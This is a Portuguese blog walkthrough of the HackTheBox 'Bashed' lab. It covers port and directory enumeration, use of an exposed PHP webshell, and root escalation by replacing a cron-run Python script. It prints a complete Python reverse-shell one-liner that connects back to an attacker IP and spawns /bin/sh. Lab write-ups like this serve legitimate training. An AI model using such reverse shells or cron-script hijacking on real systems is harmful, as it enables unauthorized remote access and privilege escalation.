
Só salve rapaziada!
Hoje vou trazer o passo a passo para resolver a máquina Bashed do HTB.
Para resolver essa máquina são necessárias as habilidades:
- Conhecimentos Básicos em Linux
- Enumeração Web
- Escalação de Privilégio Vertical
Só vamos!
Enumeração Web
Comecei com o scaneamento de portas com nmap, onde encontrei apenas a porta 80 aberta rodando um Apache httpd 2.4.18.
No apache está rodando uma aplicação programada em PHP.



Ao dar uma fuçada no site, vejo que o phpbash se trata de um WebShell que roda em PHP. Porém até o momento não encontrei nenhum vetor de ataque. Então vou partir para o scan de diretórios.
Ao realizar um scanner nos diretórios com feroxbuster, coloco a opção de pesquisar por subpastas e subarquivos, e também adiciono para pesquisar por arquivos com extensões em PHP. Então encontro a url http://10.10.10.68/dev/phpbash.php que é próprio webshell, nele já consigo a primeira flag user.txt


Agora com acesso as webshell eu tenho muitas possibilidades de exploração para a escalação do privilégio. Vou começar realizando um shell reverso para minha máquina para melhorar o meu acesso a shell.
Então primeiramente eu preparei minha máquina para receber uma conexão pela porta 1234. Depois preciso arrumar um jeito de enviar o shell da máquina alvo através da conexão com essa porta.
Tentei primeiramente enviar a shell com o nc, porém a opção -e não estava funcionando.
Outra alternativa que utilizo bastante para o shell reverso é o Python, com ele consegui enviar a shell com o comando:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.8”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
Obs: Diferentes formas de realizar o shell reverso



Escalação de Privilégio
Agora vou atrás de escalar os privilégios.
Com o comando sudo- l, vejo que o usuário que estou usando tem permissão de utilizar o scriptmanager, após um pouco de pesquisa percebo que scriptmanager é um usuário do sistema que tem permissão na pasta scripts. Então tenho permissão para acessá-lo sem senha.



Dentro da pasta scritps existem 2 arquivos, test.py (o qual nosso usuário scriptmanager tem permissões) e test.txt (arquivo que pertence ao root, devido isso não temos permissões nele).
Ao analisar o conteúdo do test.py, vi que é um pequeno script para gerar o arquivo test.txt com o conteúdo “testing 123!”, ou seja, o arquivo test.txt está sendo gerado através do script test.py


Outro ponto muito importante para se notar, é que o arquivo test.txt está sendo gerado de minuto a minuto, o que quer dizer que o test.py está agendado no cron para executar a cada minuto. Essa é a grande sacada, porque o script rodando através do cron tem permissões de root.

Dessa forma posso pensar em alguma maneira de editar esse script ao meu favor.
Primeiro eu renomeio ele de test.py para test1.py, o que faz ele parar de ser executado pelo cron
Depois disso, crio um arquivo test.py na minha máquina, com o script para um shell reverso apontando para minha máquina na porta 4321.

Preparo minha máquina para receber a conexão, abrindo a porta 4321

Agora posso enviar meu arquivo test.py para a máquina alvo.

Então de forma resumida, eu apenas substui o arquivo test.py para executar um shell reverso para minha máquina. Seria a mesma coisa de editar o arquivo, porém o acesso a shell reversa abre as ferramentas de edição de textos como vi ou nano bem bugado, por isso optei por enviar um novo arquivo.
Bem, dessa forma tudo que precisei fazer é aguardar o cron executar meu script e enviar a shell para mim. E assim consegui acesso privilegiado e a flag root.txt


Seja o primeiro a comentar